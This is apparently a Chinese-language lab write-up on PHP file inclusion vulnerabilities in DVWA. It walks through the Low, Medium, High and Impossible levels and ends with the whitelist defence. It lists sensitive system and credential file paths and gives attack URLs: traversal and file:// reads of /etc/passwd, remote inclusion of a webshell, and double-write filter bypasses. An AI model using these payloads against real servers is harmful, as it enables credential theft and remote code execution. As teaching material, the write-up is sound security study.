目录
1.概念
File Inclusion(文件包含漏洞)
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码。
条件
php.ini 中 allow_url_include=ON
文件包含函数
- require()
- require_once()
- include()
- include_once()
四种函数的区别
- require函数在出现错误后,会直接报错并退出程序的执行。
- include函数在出现错误后,会抛出警告,程序正常执行。
- 而require_once,include_once与requie和include的不同是,只包含文件一次,确保文件只被包括一次以避免函数重定义,变量重新赋值等等。
漏洞产生原因
文件包含函数中的参数没有经过过滤或者严格的定义,可以被普通用户控制。
分类
- 本地文件包含漏洞
本地文件包含可以查看本地敏感文件
可以配合文件上传漏洞执行webshell
- 远程文件包含漏洞
开启了:allow_url_fopen=on 在php.ini中
远程文件包含一般是用于包含远程主机上的恶意代码文件实现攻击,例如如果存在远程文件包含:
使用http://www.dvwa.com/test.php?page=http://www.hack.com/webshell,访问那么http://www.hack.com/webshell.php的代码就会被执行。
常见敏感信息路径
- Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
- Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/etc/php/7.4/apache2/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf 或 /etc/apache2/apache2.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
2.实验
2.1 LOW
先看代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
服务器端对page参数没有做任何的过滤跟检查,其目的是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。
只要文件内容符合PHP代码语法规范,那么任何扩展名都可以被php解析,非php语法规范,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
漏洞复现
本地文件包含
通过构造url内容,在page后加入文件路径就可以读取
远程文件包含
因为我们已经开启了allow_url_fopen以及allow_url_include,所以这里也可以执行远程文件包含
我们在另一台服务器上部署phpinfo文件
vim phpinfo.txt
内容
<?php phpinfo() ?>
访问http://192.168.31.51/DVWA/vulnerabilities/fi/?page=http://192.168.31.23/phpinfo.txt
2.2 Medium
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
Medim级别的比Low级别的多了srt_replace()函数做参数处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为了空字符。
使用srt_replace函数可以使用双写绕过替换
- http://可以使用hthttp://tp://这种方式绕过
- ../可以用....// 或者..././这种方式绕过
1.本地文件包含
http://192.168.31.51/DVWA/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././..././etc/php/7.4/apache2/php.ini
2.远程文件包含
http://192.168.31.51/DVWA/vulnerabilities/fi/?page=hthttp://tp://192.168.31.23/phpinfo.txt
2.3High
看代码先
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch(pattern,string,flags):根据指定的模式来匹配文件名或字符串。
pattern | 必需。规定要检索的模式。 |
string | 必需。规定要检查的字符串或文件。 |
flags | 可选。 |
file://伪协议 (读取文件内容),通过file协议可以访问本地文件系统,读取到文件的内容
本地包含
http://192.168.31.51/DVWA/vulnerabilities/fi/?page=file:///etc/passwd
远程包含,暂时不能使用
2.4 impossible
查看代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
使用了白名单机制进行防护,规定了参数,此时文件包含漏洞就暂时不存在了。